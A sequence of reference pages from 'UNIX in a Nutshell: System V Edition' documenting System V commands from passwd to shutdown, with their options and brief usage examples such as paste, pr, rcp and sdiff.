Create or change a password associated with a user name. Only the owner or a privileged user may change a password. Owners need not specify their user name.

Option

-s

Display password information:

  1. user name.

  2. Password status (NP for no password, PS for password, LK for locked).

  3. The last time the password was changed (in mm/dd/yy format).

  4. Number of days that must pass before user can rechange the password.

  5. Number of days before the password expires.

  6. Number of days prior to expiration that user is warned of impending expiration.

Options (privileged users only)

-a

Use with -s to display password information for all users. user should not be supplied.

-d

Delete password; user is no longer prompted for one.

-f

Force expiration of user's password; user must change password at next login.

-l

Lock user's password; mutually exclusive with -d.

-n

Set item 4 of user's password information. Usually used with -x.

-w

Set item 6 for user.

-x

Set item 5 for user. Use -1 to disable password aging, 0 to force expiration like -f.

Previous: Reference: page | UNIX in a Nutshell: System V Edition | Next: Reference: paste
Reference: page | Book Index | Reference: paste
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: paste

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: passwd Chapter 2
UNIX Commands 		Next: Reference: pcat

paste

paste [options] files

Merge corresponding lines of one or more files into vertical columns, separated by a tab. See also cut, join, newform, and pr.

Options

-

Replace a filename with the standard input.

-d'char'

Separate columns with char instead of a tab. char can be any regular character or the following escape sequences:

\n

Newline

\t

Tab

\

Backslash

\0

Empty String

Note: You can separate columns with different characters by supplying more than one char.

-s

Merge subsequent lines from one file.

Examples

Create a three-column file from files x, y, and z:

paste x y z > file

List users in two columns:

who | paste - -

Merge each pair of lines into one line:

paste -s -d"\t\n" list

Previous: Reference: passwd | UNIX in a Nutshell: System V Edition | Next: Reference: pcat
Reference: passwd | Book Index | Reference: pcat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pcat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: paste Chapter 2
UNIX Commands 		Next: Reference: pg

pcat

pcat files

Display (as with cat) one or more packed files. See also pack and unpack.

Previous: Reference: paste | UNIX in a Nutshell: System V Edition | Next: Reference: pg
Reference: paste | Book Index | Reference: pg
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pg

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pcat Chapter 2
UNIX Commands 		Next: Reference: pic

pg

pg [options] [files]

Display the named files on a terminal, one page at a time. After each screen is displayed, you are prompted to display the next page by pressing the RETURN key. Press h for help with additional commands; press q to quit. See also more.

Options

-c

Clear screen (same as -c of more).

-e

Do not pause between files.

-f

Do not split long lines.

-n

Issue a pg command without waiting for a carriage return (more works this way).

-pstr

Use string str for the command prompt. The special variable %d displays the page number.

-r

Restricted mode; shell escapes aren't allowed.

-s

Display messages in standout mode (reverse video).

-n

Use n lines for each window (default is a full screen).

+num

Begin displaying at line number num.

+/pat

Begin displaying at first line containing pattern pat.

Example

pg -p 'Page %d :' file

Previous: Reference: pcat | UNIX in a Nutshell: System V Edition | Next: Reference: pic
Reference: pcat | Book Index | Reference: pic
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pic

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pg Chapter 2
UNIX Commands 		Next: Reference: pr

pic

/usr/ucb/pic [options] [files]

Preprocessor for nroff/troff line pictures. See Section 16.

Previous: Reference: pg | UNIX in a Nutshell: System V Edition | Next: Reference: pr
Reference: pg | Book Index | Reference: pr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pr

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pic Chapter 2
UNIX Commands 		Next: Reference: printenv

pr

pr [options] [files]

Format one or more files according to options to standard output. Each page includes a heading that consists of the page number, filename, date, and time.

Options

-a

Multi-column format; list items in rows going across.

-d

Double-spaced format.

-ecn

Set input tabs to every nth position (default is 8), and use c as field delimiter (default is a tab).

-f

Separate pages using formfeed character (^L) instead of a series of blank lines.

-F

Fold input lines (avoids truncation by -a or -m).

-hstr

Replace default header with string str.

-icn

For output, replace white space with field delimiter c (default is a tab) every nth position (default is 8).

-ln

Set page length to n (default is 66).

-m

Merge files, printing one in each column (can't be used with -n and -a). Text is chopped to fit. See also paste.

-ncn

Number lines with numbers n digits in length (default is 5), followed by field separator c (default is a tab). See also nl.

-on

Offset each line n spaces (default is 0).

-p

Pause before each page.

-r

Suppress messages for files that can't be found.

-sc

Separate columns with c (default is a tab).

-t

Omit the page header and trailing blank lines.

-wn

Set line width to n (default is 72).

+num

Begin printing at page num (default is 1).

-n

Produce output having n columns (default is 1); tabs are expanded as with -i.

Examples

Print a side-by-side list, omitting heading and extra lines:

pr -m -t list.1 list.2 list.3

Alphabetize a list of states; number the lines in five columns:

sort states_50 | pr -n -5

Previous: Reference: pic | UNIX in a Nutshell: System V Edition | Next: Reference: printenv
Reference: pic | Book Index | Reference: printenv
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: printenv

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pr Chapter 2
UNIX Commands 		Next: Reference: printf

printenv

/usr/ucb/printenv [variable]

Print values of all environment variables or, optionally, only the specified variable. The SVR4 alternative env doesn't let you view just one variable, but it lets you redefine them.

Previous: Reference: pr | UNIX in a Nutshell: System V Edition | Next: Reference: printf
Reference: pr | Book Index | Reference: printf
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: printf

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: printenv Chapter 2
UNIX Commands 		Next: Reference: prof

printf

printf formats [strings]

Print strings using the specified formats. formats can be ordinary text characters, C-language escape characters, or more commonly, a set of conversion arguments listed below.

Arguments

%s

Print the next string.

%n$s

Print the nth string.

%[-]m[.n]s

Print the next string, using a field that is m characters wide. Optionally limit the field to print only the first n characters of string. Strings are right-adjusted unless the left-adjustment flag - is specified.

Examples

printf '%s %s\n' "My files are in" $HOME
printf '%-25.15s %s\n' "My files are in" $HOME

Previous: Reference: printenv | UNIX in a Nutshell: System V Edition | Next: Reference: prof
Reference: printenv | Book Index | Reference: prof
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: prof

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: printf Chapter 2
UNIX Commands 		Next: Reference: prs

prof

prof [options] [object_file]

Display the profile data for an object file. The file's symbol table is compared with profile file mon.out (previously created by the monitor function). Choose only one of the sort options -a, -c, -n, or -t . See also lprof and gprof.

Options

-a

List output by symbol address.

-c

List output by decreasing number of calls.

-g

Include non-global (static) function symbols.

-h

Suppress the report heading.

-l

Exclude non-global function symbols (the default).

-mpf

Use pf as the input profile file instead of mon.out.

-n

List by symbol name.

-o

Show addresses in octal (invalid with -x).

-s

Print a summary on standard error.

-t

List by decreasing total time percentage (the default).

-V

Print version information on standard error.

-x

Show addresses in hexadecimal (invalid with -o).

-z

Include zero usage calls.

Previous: Reference: printf | UNIX in a Nutshell: System V Edition | Next: Reference: prs
Reference: printf | Book Index | Reference: prs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: prs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: prof Chapter 2
UNIX Commands 		Next: Reference: ps

prs

prs [options] files

An SCCS command. See Section 17.

Previous: Reference: prof | UNIX in a Nutshell: System V Edition | Next: Reference: ps
Reference: prof | Book Index | Reference: ps
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ps

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: prs Chapter 2
UNIX Commands 		Next: Reference: ptx

ps

ps [options]

Report on active processes. In options, list arguments should either be separated by commas or put in double quotes. In comparing the amount of output produced, note that -e > -d > -a and -l > -f. In the BSD version, options work much differently; you can also display data for a single process.

Options

-a

List all processes except group leaders and processes not associated with a terminal.

-c

List scheduler data set by priocntl.

-d

List all processes except session leaders.

-e

List all processes.

-f

Produce a full listing.

-glist

List data only for specified list of group leader ID numbers (i.e., processes with same ID and group ID).

-j

Print the process group ID and session ID.

-l

Produce a long listing.

-nlist

Use the alternate list of names (default is /unix); obsolete as of Release 4.

-plist

List data only for process IDs in list.

-slist

List data only for session leader IDs in list.

-tlist

List data only for terminals in list (e.g., tty1).

-ulist

List data only for usernames in list.

Previous: Reference: prs | UNIX in a Nutshell: System V Edition | Next: Reference: ptx
Reference: prs | Book Index | Reference: ptx
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ptx

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ps Chapter 2
UNIX Commands 		Next: Reference: pwd

ptx

ptx [options] [infile [outfile]]

Solaris 2.0 only. Generate a permuted index from infile and send output to outfile. (Standard input and output are the defaults.) To print the index, format the output file using the -mptx option to nroff or troff.

Options

-b file

In addition to using tab, space, and newline, use the characters in file as word separators.

-f

Fold uppercase and lowercase; i.e., ignore case when sorting keywords.

-g n

Set column gaps in output to n characters.

-i file

Ignore keywords listed in file. Default file is /usr/lib/eign.

-o file

Use only the words in file as keywords (inverse of -i).

-r

Use the first field of infile as a reference ID. This field does not get permuted but appears as the last field of the output.

-t

Prepare output for phototypesetting (default line length is 100 characters).

-w n

Produce output lines n characters wide (default is 72).

Example

Given a three-line input file ptx.in:

ar(1) ar: archive and library maintainer
at(1) at: execute commands at a later time
awk(1) awk: pattern scanning language

A permuted index could be generated as follows:

ptx -f -i ignore -w 80 -r ptx.in > ptx.out
troff -mptx options ptx.out | spooler

In this case, ptx merges uppercase and lowercase (-f) ignores a list of keywords (-i), uses 80-character output lines (-w), and appends the first word (the command name) as a section reference (-r).

Previous: Reference: ps | UNIX in a Nutshell: System V Edition | Next: Reference: pwd
Reference: ps | Book Index | Reference: pwd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pwd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ptx Chapter 2
UNIX Commands 		Next: Reference: rcp

pwd

pwd

Print the full pathname of the current directory. Note: The built-in versions pwd (Bourne and Korn shells) and dirs (C shell) are faster, so you might want to define the following C-shell alias:

alias pwd dirs -l

Previous: Reference: ptx | UNIX in a Nutshell: System V Edition | Next: Reference: rcp
Reference: ptx | Book Index | Reference: rcp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rcp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pwd Chapter 2
UNIX Commands 		Next: Reference: red

rcp

rcp [options] sources target

Copy files between machines. Both sources and target are filename specifications of the form host:pathname, where host: can be omitted for a file on the local machine. If no pathname is included in target, source files are placed in your home directory. If you have a different username on the remote host, specify the form username@hostname:file

Options

-p

Preserve in copies the modification times, access times, and modes of the source files.

-r

If target and sources are both directories, copy each subtree rooted at source.

Examples

Copy the local files junk and test to your home directory on machine hermes:

rcp junk test hermes:

Copy the local bin directory and all subdirectories to the /usr/tools directory on machine diana:

rcp -r /bin diana:/usr/tools

Copy all files in your home directory on machine hera, and put them in local directory /usr/daniel with times and modes unchanged:

rcp -p "hera:*" /usr/daniel

Quote the first argument to prevent filename expansion from occurring on the local machine.

Previous: Reference: pwd | UNIX in a Nutshell: System V Edition | Next: Reference: red
Reference: pwd | Book Index | Reference: red
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: red

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rcp Chapter 2
UNIX Commands 		Next: Reference: regcmp

red

red [options] [file]

Restricted version of ed. With red, only files in the current working directory can be edited. Shell commands using ! are not allowed.

Previous: Reference: rcp | UNIX in a Nutshell: System V Edition | Next: Reference: regcmp
Reference: rcp | Book Index | Reference: regcmp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: regcmp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: red Chapter 2
UNIX Commands 		Next: Reference: relogin

regcmp

regcmp [-] files

Stands for "regular expression compile." Compile the regular expressions in one or more files and place output in file.i (or in file.c if - is specified). The output is C source code, while the input entries in files are of the form:

C variable     "regular expression"

Previous: Reference: red | UNIX in a Nutshell: System V Edition | Next: Reference: relogin
Reference: red | Book Index | Reference: relogin
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: relogin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: regcmp Chapter 2
UNIX Commands 		Next: Reference: reset

relogin

relogin [option] [terminal]

Change the login entry to reflect the current window running under layers. This ensures that commands like who and write use the correct login information. layers calls relogin automatically, but you may sometimes want to use relogin to change the destination window for write messages. terminal is the filename of the terminal to change; e.g., ttyp0.

Option

-s

Don't print error messages.

Previous: Reference: regcmp | UNIX in a Nutshell: System V Edition | Next: Reference: reset
Reference: regcmp | Book Index | Reference: reset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: reset

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: relogin Chapter 2
UNIX Commands 		Next: Reference: rksh

reset

/usr/ucb/reset [options] [type]

Clear terminal settings. reset disables CBREAK mode, RAW mode, output delays, and parity checking. reset also restores undefined special characters and enables processing of newlines, tabs, and echoing. This command is useful when a program aborts in a way that leaves the terminal confused (e.g., keyboard input might not echo on the screen). To enter reset at the keyboard, you may need to use a linefeed instead of a carriage return. reset uses the same command-line arguments as tset.

Previous: Reference: relogin | UNIX in a Nutshell: System V Edition | Next: Reference: rksh
Reference: relogin | Book Index | Reference: rksh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rksh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: reset Chapter 2
UNIX Commands 		Next: Reference: rlogin

rksh

rksh [options] [arguments]

Restricted version of ksh (the Korn shell), used in secure environments. rksh prevents you from changing out of the directory or from redirecting output. See Section 4.

Previous: Reference: reset | UNIX in a Nutshell: System V Edition | Next: Reference: rlogin
Reference: reset | Book Index | Reference: rlogin
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rlogin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rksh Chapter 2
UNIX Commands 		Next: Reference: rm

rlogin

rlogin [options] host

Connect terminal on current local host system (i.e., login) to a remote host system. The .rhosts file in your home directory (on the remote host) lists the hostnames that you're allowed to connect to without giving a password.

Options

-8

Allow 8-bit data to pass, instead of 7-bit data.

-e c

Use escape character c (default is ~). You can type ~. to disconnect from remote host, though you'll exit more "cleanly" by logging out.

-l user

Log in to remote host as user, instead of using the name on the local host.

-L

Allow rlogin to run in litout mode.

Previous: Reference: rksh | UNIX in a Nutshell: System V Edition | Next: Reference: rm
Reference: rksh | Book Index | Reference: rm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rlogin Chapter 2
UNIX Commands 		Next: Reference: rmdel

rm

rm [options] files

Delete one or more files. To remove a file, you must have write permission in the directory that contains the file, but you need not have permission on the file itself. If you do not have write permission on the file, you will be prompted (y or n) to override.

Options

-f

Remove write-protected files without prompting.

-i

Prompt for y (remove the file) or n (do not remove the file).

-r

If file is a directory, remove the entire directory and all its contents, including subdirectories. Be forewarned: use of this option can be dangerous.

--

Mark the end of options (rm still accepts -, the old form). Use this when you need to supply a filename beginning with -.

Previous: Reference: rlogin | UNIX in a Nutshell: System V Edition | Next: Reference: rmdel
Reference: rlogin | Book Index | Reference: rmdel
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rmdel

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rm Chapter 2
UNIX Commands 		Next: Reference: rmdir

rmdel

rmdel -rsid files

An SCCS command. See Section 17.

Previous: Reference: rm | UNIX in a Nutshell: System V Edition | Next: Reference: rmdir
Reference: rm | Book Index | Reference: rmdir
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rmdir

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rmdel Chapter 2
UNIX Commands 		Next: Reference: rsh

rmdir

rmdir [options] directories

Delete the named directories (the name itself, not the contents). directories are deleted from the parent directory and must be empty (if not, rm -r can be used instead). See also mkdir.

Options

-p

Remove directories and any intervening parent directories that become empty as a result; useful for removing subdirectory trees.

-s

Suppress standard error messages caused by -p.

Previous: Reference: rmdel | UNIX in a Nutshell: System V Edition | Next: Reference: rsh
Reference: rmdel | Book Index | Reference: rsh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rsh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rmdir Chapter 2
UNIX Commands 		Next: Reference: rsh

rsh

rsh

Restricted version of sh (the Bourne shell) that is intended to be used where security is important. rsh prevents you from changing out of the directory or from redirecting output. See Section 4.

Previous: Reference: rmdir | UNIX in a Nutshell: System V Edition | Next: Reference: rsh
Reference: rmdir | Book Index | Reference: rsh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rsh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rsh Chapter 2
UNIX Commands 		Next: Reference: ruptime

rsh

rsh [options] host [command]

A BSD-derived command to invoke a remote shell. This command is usually found in /usr/ucb and should not be confused with rsh, the restricted shell. rsh connects to host and executes command. If command is not specified, rsh allows you to rlogin to host. If shell metacharacters need to be interpreted on the remote machine, enclose them in quotes. This command is sometimes called remsh.

Options

-l user

Connect to host with a login name of user.

-n

Divert input to /dev/null. Sometimes useful when piping rsh to a command that reads standard input but that might terminate before rsh.

Previous: Reference: rsh | UNIX in a Nutshell: System V Edition | Next: Reference: ruptime
Reference: rsh | Book Index | Reference: ruptime
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ruptime

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rsh Chapter 2
UNIX Commands 		Next: Reference: rwho

ruptime

ruptime [options]

Show the status of local networked machines (similar to uptime).

Options

-a

Include users even if they've been idle for more than one hour. Normally such users are not counted.

-l

Sort by load average.

-r

Reverse the sort order.

-t

Sort by uptime.

-u

Sort by number of users.

Previous: Reference: rsh | UNIX in a Nutshell: System V Edition | Next: Reference: rwho
Reference: rsh | Book Index | Reference: rwho
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rwho

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ruptime Chapter 2
UNIX Commands 		Next: Reference: sact

rwho

rwho [option]

Report who is logged on for all machines on the local network (similar to who).

Option

-a

List users even if they've been idle for more than one hour.

Previous: Reference: ruptime | UNIX in a Nutshell: System V Edition | Next: Reference: sact
Reference: ruptime | Book Index | Reference: sact
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sact

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rwho Chapter 2
UNIX Commands 		Next: Reference: sccs

sact

sact files

An SCCS command. See Section 17.

Previous: Reference: rwho | UNIX in a Nutshell: System V Edition | Next: Reference: sccs
Reference: rwho | Book Index | Reference: sccs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sccs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sact Chapter 2
UNIX Commands 		Next: Reference: sccsdiff

sccs

/usr/ucb/sccs [options] command [SCCS_flags] [files]

A user-friendly interface to SCCS. See Section 17.

Previous: Reference: sact | UNIX in a Nutshell: System V Edition | Next: Reference: sccsdiff
Reference: sact | Book Index | Reference: sccsdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sccsdiff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sccs Chapter 2
UNIX Commands 		Next: Reference: script

sccsdiff

sccsdiff -rsid1  -rsid2  [options] files

An SCCS command. See Section 17.

Previous: Reference: sccs | UNIX in a Nutshell: System V Edition | Next: Reference: script
Reference: sccs | Book Index | Reference: script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: script

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sccsdiff Chapter 2
UNIX Commands 		Next: Reference: sdb

script

script [option] [file]

Create a record of your login session, storing in file everything that displays on your screen. The default file is called typescript. script records non-printing characters as control characters and includes prompts. This command is useful for beginners or for saving output from a time-consuming command.

Option

-a

Append the script record to file.

Previous: Reference: sccsdiff | UNIX in a Nutshell: System V Edition | Next: Reference: sdb
Reference: sccsdiff | Book Index | Reference: sdb
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sdb

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: script Chapter 2
UNIX Commands 		Next: Reference: sdiff

sdb

sdb [options] [objfile [corefile [dir_list]]]

A C and FORTRAN symbolic debugging program used to look at "core" files resulting from aborted programs. objfile contains an executable program, and corefile contains the core image produced when objfile was executed. a.out is the default objfile. core is the default corefile. The dir_list argument specifies the source directory for the files compiled to create objfile. See Section 20 for more information on sdb.

Options

-e

Ignore symbolic data; treat addresses as file offsets.

-s n

Don't stop processes that receive signal number n. See the signal system call for values of n. -s may be used more than once.

-V

Print version information (exit if no objfile is given).

-w

Make objfile and corefile writable.

-W

Suppress warning messages about older files.

Previous: Reference: script | UNIX in a Nutshell: System V Edition | Next: Reference: sdiff
Reference: script | Book Index | Reference: sdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sdiff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sdb Chapter 2
UNIX Commands 		Next: Reference: sed

sdiff

sdiff [options] file1 file2

Produce a side-by-side comparison of file1 with file2. Output is:

text text

Identical lines.

text <

Line exists only in file1.

> text

Line exists only in file2.

text | text

Lines are different.

Options

-l

List only lines of file1 that are identical.

-o outfile

Send identical lines of file1 and file2 to outfile; print line differences and edit outfile by entering, when prompted, the following commands:

e

Edit an empty file.

e b

Edit both left and right columns.

e l

Edit left column.

e r

Edit right column.

l

Append left column to outfile.

q

Exit the editor.

r

Append right column to outfile.

s

Silent mode; do not print identical lines.

v

Turn off "silent mode."

-s

Do not print identical lines.

-wn

Set line length to n (default is usually 130).

Example

Show differences using 80 columns, and ignore identical lines:

sdiff -s -w80 list.1 list.2

Previous: Reference: sdb | UNIX in a Nutshell: System V Edition | Next: Reference: sed
Reference: sdb | Book Index | Reference: sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sed

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sdiff Chapter 2
UNIX Commands 		Next: Reference: sh

sed

sed [options] [files]

Stream editor-edit one or more files without user interaction. See Section 10 for more information on sed.

Options

-e 'instruction'

Apply the editing instruction to the files.

-f script

Apply the set of instructions from the editing script.

-n

Suppress default output.

Previous: Reference: sdiff | UNIX in a Nutshell: System V Edition | Next: Reference: sh
Reference: sdiff | Book Index | Reference: sh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sed Chapter 2
UNIX Commands 		Next: Reference: shl

sh

sh [options] [arguments]

The standard command interpreter (or Bourne shell) that executes commands from a terminal or a file. See Section 4 for more information on the Bourne shell, including command-line options.

Previous: Reference: sed | UNIX in a Nutshell: System V Edition | Next: Reference: shl
Reference: sed | Book Index | Reference: shl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: shl

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sh Chapter 2
UNIX Commands 		Next: Reference: shutdown

shl

shl

Control more than one shell (layer) from a single terminal. From the shl prompt level, you can issue the commands listed below (abbreviating them to any unique prefix if desired). The name text string should not exceed eight characters. See also layers.

block name [name2...]

Block the output for each layer name (same as stty loblk).

create [name]

Create the layer name (no more than seven total).

delete name [name2...]

Delete the layer name.

help or ?

Provide shl command syntax.

layers [-l] [name...]

Print information about layers. -l provides a ps-like display.

name

Make layer name be the current level.

quit

Exit shl and kill all the layers.

resume [name]

Return to latest layer or to layer name.

toggle

Flip back to the previous layer.

unblock name [name2...]

Do not block output for each layer name (same as stty -loblk).

Previous: Reference: sh | UNIX in a Nutshell: System V Edition | Next: Reference: shutdown
Reference: sh | Book Index | Reference: shutdown
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: shutdown

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: shl Chapter 2
UNIX Commands 		Next: Reference: size

shutdown

/usr/sbin/shutdown [options]

Allow a privileged user to change system state. Default behavior is to terminate user processes, taking system down from multi-user state (state 2) to single-user state. That is, only the system console provides access. shutdown sends a warning message, waits 60 seconds, sends a final message, waits another 60 seconds, and finally prompts for confirmation. shutdown is the SVR4 alternative to halt or reboot.

Options

-gn

Use a grace-period of n seconds instead of 60.

-ik

Tell the init command to place system in state k:

s

Single-user state (the default).

0

Shutdown for safe power-off.

1

Like s, but mount multi-user file systems.

5

Stop system; go to firmware mode.

6

Stop system and then reboot.

-y

Suppress the default prompt for confirmation.

Previous: Reference: shl | UNIX in a Nutshell: System V Edition | Next: Reference: size
